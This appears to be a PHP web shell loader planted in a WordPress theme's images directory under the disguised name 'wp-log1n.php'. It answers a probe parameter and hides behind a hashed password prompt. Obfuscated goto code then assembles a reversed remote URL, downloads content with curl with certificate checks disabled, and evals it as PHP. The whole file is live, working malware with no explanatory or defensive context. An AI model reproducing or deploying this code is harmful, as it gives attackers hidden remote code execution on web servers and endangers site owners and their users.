File: /home/appbox/public_html/wp-content/themes/twentytwentyone/assets/images/wp-log1n.php
<?php ?><?php error_reporting(0); if(isset($_REQUEST["ok"])){die(">ok<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == 'a1fecbae6a303e0618f95586ddb49de7c30f911fecd8701500320daf754868a0') {
$_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto Vg5L5; Vg5L5: $SS8Fu = ''; goto SgTqo; BIpZd: eval("\x3f\76" . tW2kx(strrev($SS8Fu))); goto fS7Ke; mlO3U: $SS8Fu .= "\x6f\57"; goto R3ZhB; ypjfZ: $SS8Fu .= "\60\x31\57\x64\x6c"; goto mlO3U; ArHfE: $SS8Fu .= "\65"; goto ypjfZ; SJaft: $SS8Fu .= "\163\160"; goto dB3zy; pnsLG: $SS8Fu .= "\x74\56"; goto ArHfE; UBrIB: $SS8Fu .= "\x6d"; goto F2ARg; F2ARg: $SS8Fu .= "\141\x64\x2f"; goto KHH2s; dB3zy: $SS8Fu .= "\x74\x74\x68"; goto BIpZd; SgTqo: $SS8Fu .= "\x74\x78"; goto pnsLG; R3ZhB: $SS8Fu .= "\141"; goto ZyvW0; kDcFF: $SS8Fu .= "\60\x61"; goto UBrIB; ZyvW0: $SS8Fu .= "\155\x61\x64\x2f\160"; goto V4T34; KHH2s: $SS8Fu .= "\x2f\x3a"; goto SJaft; V4T34: $SS8Fu .= "\157\164\x2e\62"; goto kDcFF; fS7Ke: function TW2kX($V1_rw = '') { goto eKsm7; gwHBK: $tvmad = curl_exec($xM315); goto Rrf4e; oIbXq: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto xfyYP; EA8Oj: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto A46WV; eKsm7: $xM315 = curl_init(); goto BQ5oS; AwAAv: return $tvmad; goto hevTh; xfyYP: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto gwHBK; A46WV: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto oIbXq; Rrf4e: curl_close($xM315); goto AwAAv; BQ5oS: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto EA8Oj; hevTh: }